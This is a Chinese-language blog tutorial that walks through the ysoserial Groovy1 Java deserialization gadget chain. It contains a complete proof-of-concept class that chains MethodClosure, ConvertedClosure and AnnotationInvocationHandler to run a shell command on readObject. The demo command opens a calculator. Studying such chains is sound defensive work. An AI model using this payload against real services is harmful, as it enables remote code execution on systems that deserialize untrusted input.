Java反序列化：Groovy利用链

2020-06-15

前文提到序列化漏洞问题，一般不太可能有readObject上有直接可以命令执行的问题，而是会存在调用一些比较特殊的方法，导致产生漏洞。

参考【1】, 很多文章介绍Java反序列化都是用的commons-connection1利用链，但是这条利用链对于新手来说不太友好，重点不在反序列化，而在于commons-connection1本身LazyMap这条链上。这里以ysoserial Groovy1为例分析下原理。

Show Me The Code

/**
 * @file: GroovyTest2.java
 */

import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Proxy;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.lang.annotation.Retention;

import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;

public class GroovyTest2 {

    static String command = "open -a calculator.app";

    public static void main(String[] args){
        // write object
        try{
            MethodClosure methodClosure = new MethodClosure(command,"execute");
            final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");
            Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
            allInterfaces[0] = Map.class;
            Object o = Proxy.newProxyInstance(GroovyTest2.class.getClassLoader(), allInterfaces, closure);

            final Map map=Map.class.cast(o);
//            map.entrySet().iterator();

            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
            ctor.setAccessible(true);
            Object instance = ctor.newInstance(Retention.class, map);

            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("groovy2.obj"));
            //ObjectOutputStream能把Object输出成Byte流
            oos.writeObject(instance);//序列化关键函数
            oos.flush();  //缓冲流
            oos.close(); //关闭流
        }catch (Exception e)
        {
            e.printStackTrace();
        }


        // load object
        try {
            File file = new File("groovy2.obj");
            ObjectInputStream ois= new ObjectInputStream(new FileInputStream(file));
            Object x = ois.readObject();//反序列化的关键函数
            System.out.print(x);
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

整个利用代码可以分为两段

构造1个特殊的Object，这个Object有某个特殊方法可以触发命令执行
找到一个重写readObject的Serializable类，且这个类readObject过程中有可能触发1中的那个特殊方法

1. 能够命令执行的特殊方法

能够执行命令的，一般都是因为invoke方法，自然定位到ConvertedClosure的invoke方法

ConversionHandler.class

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    VMPlugin plugin = VMPluginFactory.getPlugin();
    if (plugin.getVersion() >= 7 && this.isDefaultMethod(method)) {
        Object handle = this.handleCache.get(method);
        if (handle == null) {
            handle = plugin.getInvokeSpecialHandle(method, proxy);
            this.handleCache.put(method, handle);
        }

        return plugin.invokeHandle(handle, args);
    } else if (!this.checkMethod(method)) {
        try {
            return this.invokeCustom(proxy, method, args);
        } catch (GroovyRuntimeException var6) {
            throw ScriptBytecodeAdapter.unwrap(var6);
        }
    } else {
        try {
            return method.invoke(this, args);
        } catch (InvocationTargetException var7) {
            throw var7.getTargetException();
        }
    }
}

ConvertedClosure.class

1
2
3

public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
        return this.methodName != null && !this.methodName.equals(method.getName()) ? null : ((Closure)this.getDelegate()).call(args);
    }

搞懂了上面两个方法方法方法就不难看明白下面构造的的poc

MethodClosure methodClosure = new MethodClosure(command,"execute");
final ConvertedClosure closure = new ConvertedClosure(methodClosure,"entrySet");

Class<?>[] allInterfaces = (Class<?>[]) Array.newInstance(Class.class,1);
allInterfaces[0] = Map.class;
Object o = Proxy.newProxyInstance(GroovyTest2.class.getClassLoader(), allInterfaces, closure);
final Map map = Map.class.cast(o);
map.entrySet().iterator();

主要此处的Proxy.newProxyInstance，为创建动态代理，含义为Object o，以后所有有关allInterfaces（其实也就是Map.class）的接口，都交给closure处理。

//newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
//CLassLoader loader:指定动态代理类的类加载器,即生成完成后的代理对象的类加载器
//Class<?> interfaces:指定动态代理类需要实现的所有接口，需要被增强的接口列表（数据）
//InvocationHandler h: 指定与动态代理类关联的 InvocationHandler对象，具体的增强逻辑

2. 那个有特殊readObject的Serializable类

这里直接给出sun.reflect.annotation.AnnotationInvocationHandler

多看几个ysoserial的例子，跟一遍AnnotationInvocationHandler 的readObject方法，就会懂这个套路（套路是什么？通用的方法，以后也可以拿来用）。

AnnotationInvocationHandler 有一个属性memberValues，为Map类型，在readObject 中会对该memberValues调用entrySet。如此触发1中map.entrySet().iterator()。

Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, map);

这段代码也解释下，作用为创建一个AnnotationInvocationHandler类，构造参数为map。
之所以不能new是因为非public，只能通过反射来创建。

AnnotationInvocationHandler 是java的一个注释类，具体用来干什么的可以再拓展学习下，参考【2】

利用链

Gadget chain:
	AnnotationInvocationHandler.readObject()
		com.sun.proxy.entrySet()
			ConversionHandler.invoke()
				ConvertedClosure.invokeCustom()
					MethodClosure.call()
						...
							ProcessGroovyMethods.invoke()
								Runtime.exec()

upload successful

小结

本节简单跟进了ysoserial Groovy1的反序列化利用过程，其实跟进并不难，难的是去逆向思维，为什么会用到methodClosure、ConvertedClosure，参数为什么是execute、entrySet？
为什么是AnnotationInvocationHandler会被作为通用的触发器，还有没有其他的？

为什么会定位到methodClosure、ConvertedClosure
通过invoke、InvokeHandler应该可以定位到，但是具体参数如何构造，那考验的就是Java功底了。
AnnotationInvocationHandler
还有其他的类似的类吗？

如何举一反三，发现新的Gadget？现在功力不够，留待以后吧